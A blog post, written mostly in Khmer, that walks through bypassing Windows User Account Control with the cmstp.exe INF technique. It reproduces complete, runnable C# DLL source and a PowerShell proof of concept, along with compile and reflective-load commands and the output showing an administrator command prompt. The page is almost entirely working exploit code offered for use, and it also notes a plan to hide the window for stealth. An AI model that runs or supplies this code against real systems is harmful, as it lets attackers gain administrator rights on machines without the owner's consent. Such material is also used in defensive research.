This page looks best with JavaScript enabled

Bypass UAC DLL Method

 ·  β˜• 5 min read  ·  🐱 thik

αžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž€αžΆαžš Bypass αž‘αŸ…αž›αžΎ UAC αž“αŸ…αžšαžΆαž›αŸ‹αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαžœαžΈαž“αžŠαžΌαž‡αŸ†αž“αžΆαž“αŸ‹αžαŸ’αž˜αžΈ (៨/៑០/៑៑) αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž―αž€αžŸαžΆαžš PS1 αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž€αžΎαžαž…αŸαž‰αž‡αžΆ dll reflection αžŠαŸ‚αž›αž’αžΆαž… Exploit αžαžΆαž˜αžšαž™αŸˆαž―αž€αžŸαžΆαžšαžŠαžΎαž˜ cmstp.exe αž“αŸƒαž”αŸ’αžšαž–αŸαž“αŸ’αž’αž‚αŸ„αž›αž–αžΈαžšαŸ”

C# DLL Reflection Code

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
/* 
UAC Bypass using CMSTP.exe microsoft binary.
Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\\windows\\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

αž•αŸ’αž’αŸ‚αž€αž›αžΎαž€αžΆαžšαž„αžΆαžšαž–αžΈαž˜αž»αž“αžšαž”αžŸαŸ‹αž›αŸ„αž€ Oddvar Moe
αž•αŸ’αž’αŸ‚αž€αž›αžΎ PowerShell αžŸαŸ’αž‚αŸ’αžšαžΈαž”αžšαž”αžŸαŸ‹αž›αŸ„αž€ Tyler Applebaum

αž…αž˜αŸ’αž›αž„αž€αžΌαžŠαžαžΆαž„αž›αžΎαžšαž€αŸ’αžŸαžΆαž‘αž»αž€αž‡αžΆ “Source.cs”
αžŠαžΎαž˜αŸ’αž”αžΈαž”αŸ†αž”αŸ’αž›αŸ‚αž„αž€αžΌαžŠαž‘αŸ…αž‡αžΆαž―αž€αžŸαžΆαžš dll αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαž–αžΆαž€αŸ’αž™αž”αž‰αŸ’αž‡αžΆαž“αŸ…αž›αžΎ powershell αžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸ–

1
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

αž€αŸ’αžšαŸ„αž™αž”αŸ†αž”αŸ’αž›αŸ‚αž„αžšαž½αž…αžœαžΆαž“αžΉαž„αž”αž„αŸ’αž€αžΎαžαž…αŸαž‰αž‡αžΆαž―αž€αžŸαžΆαžšαž˜αž½αž™αž˜αžΆαž“αžˆαŸ’αž˜αŸ„αŸ‡αžαžΆ “CMSTP-UAC-Bypass.dll”

Bypass UAC

αžŠαžΎαž˜αŸ’αž”αžΈαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž―αž€αžŸαžΆαžš DLL αžŠαŸ‚αž›αž”αžΆαž“αž”αž„αŸ’αž€αžΎαžαžšαž½αž…αž²αŸ’αž™αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš Bypass UAC αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαž–αžΆαž€αŸ’αž™αž”αž‰αŸ’αž‡αžΆαžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸ–

1
2
3
4
5
6
7
PS C:\> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))

GAC    Version        Location
---    -------        --------
False  v4.0.30319

PS C:\> [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

αž€αŸ’αžšαŸ„αž™αž–αžΈαžšαžŠαŸ†αžŽαžΎαžšαžšαž½αž… αž“αžΉαž„αž˜αžΆαž“αž›αŸ„αžαž•αŸ’αž‘αžΆαŸ†αž„ CMD αž’αž˜αž˜αž€αž‡αžΆαž˜αž½αž™αž“αž·αž„αžŸαž·αž‘αŸ’αž’αž‡αžΆ Administrator αŸ”

Bypass UAC

αžŠαžΌαž…αžŠαŸ‚αž›αž”αžΆαž“αžƒαžΎαž‰αž‚αžΊαž™αžΎαž„αž’αžΆαž…αž’αŸ’αžœαžΎαž€αžΆαžš Bypass UAC αž”αžΆαž“αžŸαž˜αŸ’αžšαŸαž…αžŠαŸ„αž™αžˆαžšαž“αŸ…αž›αžΎαžŸαž·αž‘αŸ’αž’αž·αž’αŸ’αž“αž€αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž’αž˜αŸ’αž˜αžαžΆαŸ•

Bonus - Bypass With PS1 (One File Action)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# UAC Bypass poc using SendKeys
# Version 1.0
# Author: Oddvar Moe
# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
# Todo: Hide window on screen for stealth
# Todo: Make script edit the INF file for command to inject...


Function script:Set-INFFile {
[CmdletBinding()]
	Param (
	[Parameter(HelpMessage="Specify the INF file location")]
	$InfFileLocation = "$env:temp\CMSTP.inf",
	
	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
	[String]$CommandToExecute = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' #your action here
	)

$InfContent = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
$CommandToExecute
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"
"@

$InfContent | Out-File $InfFileLocation -Encoding ASCII
}


Function Get-Hwnd
{
  [CmdletBinding()]
    
  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
  )
  Process
    {
        $ErrorActionPreference = 'Stop'
        Try 
        {
            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
        }
        Catch 
        {
            $hwnd = $null
        }
        $hash = @{
        ProcessName = $ProcessName
        Hwnd        = $hwnd
        }
        
    New-Object -TypeName PsObject -Property $hash
    }
}

function Set-WindowActive
{
  [CmdletBinding()]

  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
  )
  
  Process
  {
    $memberDefinition = @'
    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
'@

    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
    If ($hwnd) 
    {
      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
      [User32.Api]::SetForegroundWindow($hwnd)
      [User32.Api]::ShowWindow($hwnd, 5)
    }
    Else 
    {
      [string] $hwnd = 'N/A'
    }

    $hash = @{
      Process = $Name
      Hwnd    = $hwnd
    }
        
    New-Object -TypeName PsObject -Property $hash
  }
}

. Set-INFFile
#Needs Windows forms
add-type -AssemblyName System.Windows.Forms
If (Test-Path $InfFileLocation) {
#Command to run
$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
$ps.Arguments = "/au $InfFileLocation"
$ps.UseShellExecute = $false

#Start it
[system.diagnostics.process]::Start($ps)

do
{
	# Do nothing until cmstp is an active window
}
until ((Set-WindowActive cmstp).Hwnd -ne 0)


#Activate window
Set-WindowActive cmstp

#Send the Enter key
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
}

αž―αž€αžŸαžΆαžšαžŠαžΎαž˜αŸ–

Share on

Thik
WRITTEN BY
thik
Security Researcher